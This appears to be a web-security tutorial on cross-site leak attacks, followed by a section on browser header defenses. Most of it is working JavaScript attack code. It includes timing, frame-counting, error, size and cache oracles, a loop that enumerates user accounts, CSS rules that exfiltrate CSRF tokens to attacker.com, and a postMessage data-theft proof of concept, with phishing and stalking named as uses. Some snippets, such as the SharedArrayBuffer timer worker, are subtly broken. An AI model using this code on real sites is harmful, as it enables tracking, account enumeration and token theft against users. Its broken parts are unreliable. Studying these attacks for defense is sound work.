What Are XS-Leaks?
Cross-Site Leaks (XS-Leaks) are a class of browser-based side-channel attacks where a malicious website can infer information about a victim's interactions with other websites, even though it cannot directly read cross-origin data due to the Same-Origin Policy. The critical distinction from XSS: XS-Leaks exploit browser behaviors that are by design, not bugs. They arise from observable side effects of cross-origin resource loading.
The attacker's malicious page causes the victim's browser to interact with the target site (which has the victim's session cookies automatically included). The attacker can't read the response body (SOP prevents this), but can observe observable properties of the response: did it load or error? How long did it take? How large was it? How many frames did it create? These observations become information oracles about the victim's state on the target site.
Cross-Origin Timing Attacks
The simplest XS-Leak: measuring how long it takes for a cross-origin request to complete reveals information about the response content.
// Timing attack to detect if user is logged in:
// If the user is logged in, /dashboard returns 200 with content (takes 200ms)
// If not logged in, /dashboard returns 302 redirect to /login (takes 50ms)
async function isLoggedIn(targetSite) {
const measurements = [];
for (let i = 0; i < 10; i++) {
const start = performance.now();
await fetch(`https://${targetSite}/dashboard`, {
mode: 'no-cors', // required for cross-origin
credentials: 'include', // send target site's cookies
cache: 'no-store'
});
const elapsed = performance.now() - start;
measurements.push(elapsed);
}
// Average timing
const avg = measurements.reduce((a, b) => a + b) / measurements.length;
const isAuthenticated = avg > 150; // threshold based on profile
console.log(`${targetSite}: ${isAuthenticated ? 'logged in' : 'not logged in'} (avg: ${avg.toFixed(0)}ms)`);
return isAuthenticated;
}
// Enhanced timing via resource loading:
function timeResourceLoad(url) {
return new Promise((resolve) => {
const img = new Image();
const start = performance.now();
img.onload = img.onerror = () => resolve(performance.now() - start);
img.src = url + '?cb=' + Date.now();
});
}
// Detecting account existence:
// GET /api/user/check?username=TARGET_USER
// 200 (user exists, takes 100ms) vs 404 (no user, takes 20ms)
async function userExists(username) {
const url = `https://target.com/api/user/check?username=${username}`;
const times = await Promise.all([...Array(5)].map(() => timeResourceLoad(url)));
return times.reduce((a, b) => a + b) / times.length > 80;
}
High-Resolution Timing with SharedArrayBuffer
// Browsers throttle performance.now() resolution to prevent timing attacks
// However: SharedArrayBuffer + Atomics provides high-resolution timing
// (requires COOP/COEP headers, so this bypasses timing throttling where those are set)
let sab = new SharedArrayBuffer(8);
let arr = new Int32Array(sab);
// High-resolution timer using Atomics:
function getHighResTiming() {
const worker = new Worker(URL.createObjectURL(new Blob([`
let arr = new Int32Array(self.arr);
function tick() {
Atomics.add(arr, 0, 1);
requestAnimationFrame(tick); // or setTimeout(tick, 0)
}
self.onmessage = e => { self.arr = e.data; tick(); };
`])));
worker.postMessage(sab);
return {
measure: () => Atomics.load(arr, 0)
};
}
// Use: measure difference in ticks = ~1ms precision timing
const timer = getHighResTiming();
const start = timer.measure();
await fetch('https://target.com/private', {mode: 'no-cors', credentials: 'include'});
const elapsed = timer.measure() - start;
console.log(`Ticks: ${elapsed}`); // higher precision than performance.now()
Frame Counting Oracle
When a cross-origin page is embedded in an iframe, JavaScript cannot read its content (SOP), but it can observe the number of frames (sub-frames) the page creates. This reveals structural information about the page:
// Frame counting attack:
// Scenario: target.com/user-profile?id=123
// If user exists: page has 3 iframes (photo, activity widget, friends list)
// If user doesn't exist: page has 1 iframe (generic error layout)
function countFrames(targetUrl) {
return new Promise((resolve) => {
const iframe = document.createElement('iframe');
iframe.src = targetUrl;
iframe.style.display = 'none';
document.body.appendChild(iframe);
// Poll for frame count stability
let lastCount = -1;
let stable = 0;
const poll = setInterval(() => {
let count;
try {
count = iframe.contentWindow.length; // cross-origin: only frame count is readable!
} catch(e) {
count = 0;
}
if (count === lastCount) {
stable++;
if (stable > 3) {
clearInterval(poll);
document.body.removeChild(iframe);
resolve(count);
}
} else {
stable = 0;
lastCount = count;
}
}, 200);
});
}
// Detect if user profile exists:
async function profileExists(userId) {
const frames = await countFrames(`https://target.com/profile/${userId}`);
return frames >= 3; // authenticated profile has 3 frames
}
// Use case: enumerate user IDs to build account database
for (let id = 1000; id < 2000; id++) {
const exists = await profileExists(id);
if (exists) console.log(`User ${id} exists`);
}
Error-Based Oracles
When a cross-origin resource triggers an error (onload vs onerror events), the error status itself reveals information — even though the response body cannot be read:
// Error oracle for detecting authentication state:
// Authenticated: /api/private returns 200 → img.onload fires
// Unauthenticated: /api/private returns 401 → img.onerror fires
function crossOriginProbe(url) {
return new Promise((resolve) => {
const img = new Image();
img.onload = () => resolve('loaded'); // 2xx response with image content
img.onerror = () => resolve('error'); // 4xx/5xx or non-image content
img.src = url;
});
}
// IMPORTANT: onerror fires for BOTH 401/403 AND for 200 responses that aren't images
// Need to understand the target's behavior first
// Script tag oracle:
function scriptOracle(url) {
return new Promise((resolve) => {
const script = document.createElement('script');
script.onload = () => { resolve('loaded'); document.body.removeChild(script); };
script.onerror = () => { resolve('error'); document.body.removeChild(script); };
script.src = url;
document.body.appendChild(script);
});
}
// onload fires if script returned 200 (even if not valid JavaScript)
// onerror fires for 4xx/5xx
// Link/CSS oracle for detecting authenticated admin resources:
function cssOracle(url) {
return new Promise((resolve) => {
const link = document.createElement('link');
link.rel = 'stylesheet';
link.onload = () => { resolve('loaded'); };
link.onerror = () => { resolve('error'); };
link.href = url;
document.head.appendChild(link);
});
}
// Fires onload for any 200 response (even non-CSS)
// Fires onerror for any error status
// Practical: detect if victim has specific private data
const result = await crossOriginProbe('https://target.com/api/invoices/12345');
// loaded = invoice 12345 exists and victim can access it
// error = either doesn't exist or victim lacks permission
Resource Size Oracle via Performance API
The performance.getEntriesByType('resource') API reveals the size of loaded cross-origin resources when CORP or Timing-Allow-Origin headers are present. Even without those headers, transferSize may be available for some resources:
// Performance API size oracle:
async function measureResponseSize(url) {
await fetch(url, { mode: 'no-cors', credentials: 'include' });
// Wait briefly for performance entry to appear
await new Promise(r => setTimeout(r, 100));
const entries = performance.getEntriesByName(url);
if (entries.length > 0) {
const entry = entries[entries.length - 1];
console.log('Transfer size:', entry.transferSize); // 0 if blocked by CORP
console.log('Encoded body size:', entry.encodedBodySize);
console.log('Duration:', entry.duration);
}
}
// Even if size is blocked (shows 0): the PRESENCE of the entry and timing still leaks info
// Object onload/onerror with performance:
function objectOracle(url) {
return new Promise((resolve) => {
const obj = document.createElement('object');
obj.type = 'text/html';
obj.data = url;
obj.onload = () => {
// Get size from performance:
const entries = performance.getEntriesByName(url);
const size = entries.length > 0 ? entries[entries.length - 1].transferSize : 0;
resolve({ status: 'loaded', size });
};
obj.onerror = () => resolve({ status: 'error', size: 0 });
document.body.appendChild(obj);
});
}
// Use case: detect if search results page is empty or has results
// Empty results page: ~2KB response
// Results page with data: ~15KB response
// Detect by measuring transfer size of search results
async function searchOracle(query) {
const url = `https://target.com/search?q=${encodeURIComponent(query)}`;
const { size } = await objectOracle(url);
return size > 5000; // >5KB = has results
}
Cache Timing Attacks
// Browser cache timing: if a resource is cached, it loads faster
// Detect if the victim previously loaded a specific private resource
// Step 1: Embed the target resource in attacker page
const targetUrl = 'https://bank.com/user/statement/january-2024.pdf';
const img = new Image();
img.src = targetUrl; // browser will check cache before fetching
// Step 2: Measure load time
const start = performance.now();
await new Promise(r => { img.onload = img.onerror = r; });
const loadTime = performance.now() - start;
// Cached: ~2ms, Not cached: ~200ms
const wasCached = loadTime < 20;
console.log(`Statement was previously accessed: ${wasCached}`);
// Cache probing attack (more reliable):
async function probeCached(url) {
const measurements = [];
for (let i = 0; i < 5; i++) {
const t = await timeResourceLoad(url + '#' + i); // vary fragment to avoid browser dedup
measurements.push(t);
}
const min = Math.min(...measurements);
return min < 30; // <30ms = cached
}
// Security note: modern browsers have implemented cache partitioning
// (keyed by top-level origin) to prevent this attack
// Chrome 86+, Firefox 85+, Safari: all have partitioned caches
// This attack is largely mitigated on modern browsers
CSS Injection Data Exfiltration
CSS attribute selectors can detect the value of HTML attributes. When combined with external resource loading, CSS can exfiltrate data character by character without JavaScript:
// CSS injection attack — exfiltrate CSRF token via attribute selector
// Requires: ability to inject CSS into the target page
// (e.g., via a CSS injection vulnerability, or same-site CSS include)
// The CSRF token is in: <input name="csrf_token" value="abc123...">
// Inject CSS that loads an external resource when the value starts with each character:
input[name="csrf_token"][value^="a"] { background: url(https://attacker.com/leak?v=a); }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.com/leak?v=b); }
input[name="csrf_token"][value^="c"] { background: url(https://attacker.com/leak?v=c); }
/* ... through all characters */
// When the page loads, only the rule matching the first character fires
// Attacker observes which request arrives at attacker.com
// Then craft CSS for the next character (given first char = 'a'):
input[name="csrf_token"][value^="aa"] { background: url(https://attacker.com/leak?v=aa); }
input[name="csrf_token"][value^="ab"] { background: url(https://attacker.com/leak?v=ab); }
/* ... etc */
// Python script to generate CSS for each prefix:
def generate_css(known_prefix, attacker_url, charset='abcdefghijklmnopqrstuvwxyz0123456789-_'):
css = ""
for char in charset:
prefix = known_prefix + char
css += f'input[name="csrf_token"][value^="{prefix}"] {{ background: url({attacker_url}/leak?v={prefix}); }}\n'
return css
# Automating the exfiltration:
# 1. Inject initial CSS (no prefix)
# 2. Receive first character from attacker server
# 3. Reinject CSS with known first char
# 4. Receive second character
# 5. Repeat until full token is recovered
# CSS injection via @import:
# If you can inject a CSS file path or @import directive:
@import url('https://attacker.com/generate-css?prefix=');
# Server dynamically generates CSS to probe the next character
# More efficient: combine with a server that generates CSS on-demand:
# https://attacker.com/css?prefix=ab returns CSS for all next characters after "ab"
# Combined with CSS @import chains for automated multi-round exfiltration
PostMessage Leaks
// PostMessage without origin validation:
// Target site code (vulnerable):
window.addEventListener('message', function(event) {
// MISSING: if (event.origin !== 'https://trusted.com') return;
const response = processRequest(event.data);
event.source.postMessage(response, '*'); // sends to ANY origin!
});
// Attacker can:
// 1. Embed target in iframe
// 2. Send message to iframe
// 3. Receive private response via postMessage
// Attack PoC:
const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/dashboard';
document.body.appendChild(iframe);
window.addEventListener('message', (event) => {
if (event.origin === 'https://target.com') {
console.log('Received private data:', event.data);
// Data may include: user info, CSRF tokens, private content
}
});
// After iframe loads:
iframe.contentWindow.postMessage({action: 'getProfile'}, 'https://target.com');
// Also: listening for messages from the target without sending:
// Some SPAs broadcast events via postMessage for inter-widget communication
// Listen for all messages and filter by origin:
window.addEventListener('message', (event) => {
console.log(`From: ${event.origin}`, event.data);
});
XS-Leaks Oracle Summary
| Technique | Observable Property | What It Leaks | Browser Mitigation |
|---|---|---|---|
| Timing attack | Response time | Auth state, user existence, data presence | Timing throttling (partial) |
| Frame counting | window.length | Page structure, authentication state | COOP same-origin |
| onload/onerror | Success vs error | Resource existence, HTTP status class | CORP, SameSite cookies |
| Performance API | Resource size | Response content differences | Timing-Allow-Origin absent = blocked |
| Cache timing | Load time difference | Previously accessed URLs | Cache partitioning (Chrome 86+) |
| CSS injection | External resource load | Attribute values (CSRF tokens) | CSP, CORP |
| History sniffing | :visited CSS style | Previously visited URLs | Mitigated in modern browsers |
| postMessage | Message content | Private data if origin not checked | Proper origin validation |
Real-World Impact Scenarios
// Scenario 1: Account existence oracle
// Use case: find if a corporate email belongs to a user of target service
// (for targeted phishing, stalking, competitive intelligence)
async function accountExists(email) {
const url = `https://target.com/forgot-password?email=${encodeURIComponent(email)}`;
const time = await timeResourceLoad(url);
// Different timing for known vs unknown emails due to different backend processing
return time > 500; // if email found: bcrypt hash check (slow), if not: fast rejection
}
// Scenario 2: CSRF token exfiltration via CSS injection
// Allows CSRF attacks even with anti-CSRF tokens
// Scenario 3: Detect private data
// "Does victim have any unpaid invoices?"
// GET /api/invoices?status=unpaid
// 200 with content (has unpaid) vs 200 with empty array (no unpaid)
// Size difference detectable via performance API
// Scenario 4: Inferring search results
// "Is the victim's name in the company directory?"
async function isNameInDirectory(targetName) {
const url = `https://corp.company.com/directory/search?q=${encodeURIComponent(targetName)}`;
const before = performance.now();
await fetch(url, {mode: 'no-cors', credentials: 'include'});
const duration = performance.now() - before;
return duration > 300; // search with results takes longer than empty results
}
Defenses: COOP, COEP, CORP, Fetch Metadata
# Cross-Origin Opener Policy (COOP):
# Prevents other origins from getting a reference to your window
# Breaks frame counting attacks
Cross-Origin-Opener-Policy: same-origin
# Values: same-origin, same-origin-allow-popups, unsafe-none
# Cross-Origin Embedder Policy (COEP):
# Requires all resources to opt-in to cross-origin embedding
# Needed for SharedArrayBuffer (prevents high-res timing)
Cross-Origin-Embedder-Policy: require-corp
# Cross-Origin Resource Policy (CORP):
# Prevents cross-origin loading of your resources
# Breaks error oracle attacks
Cross-Origin-Resource-Policy: same-origin
# Values: same-site, same-origin, cross-origin
# Fetch Metadata headers (sent by browser on cross-origin requests):
Sec-Fetch-Site: cross-site # or same-site, same-origin, none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
# Server-side defense using Fetch Metadata:
# Reject requests where Sec-Fetch-Site: cross-site for sensitive endpoints:
def requires_same_origin(request):
fetch_site = request.headers.get('Sec-Fetch-Site', 'none')
fetch_mode = request.headers.get('Sec-Fetch-Mode', '')
if fetch_site in ['cross-site', 'same-site'] and fetch_mode == 'no-cors':
return False # reject cross-origin embeds
return True
# SameSite cookies:
# SameSite=Strict: cookies NOT sent on cross-site requests
# SameSite=Lax: cookies sent on top-level navigation GET
# SameSite=None; Secure: cookies sent on all cross-site requests (required for some use cases)
Set-Cookie: session=token; SameSite=Strict; Secure; HttpOnly
# Resource Timing API restriction:
# Add Timing-Allow-Origin header only if cross-origin timing is acceptable:
Timing-Allow-Origin: https://trusted-partner.com
# Without this header: performance API shows 0 for cross-origin resource sizes
XS-Leaks represent a fascinating class of vulnerabilities that exist at the intersection of web standards, browser implementation, and application design. Unlike most web vulnerabilities, they cannot be "patched" without fundamentally changing browser behavior or adding additional security headers. The most effective defense is defense-in-depth: SameSite cookies (prevents credential inclusion in cross-origin requests), COOP/COEP/CORP headers (restricts cross-origin resource access), and Fetch Metadata validation (allows server-side detection and rejection of likely XS-Leak probing requests).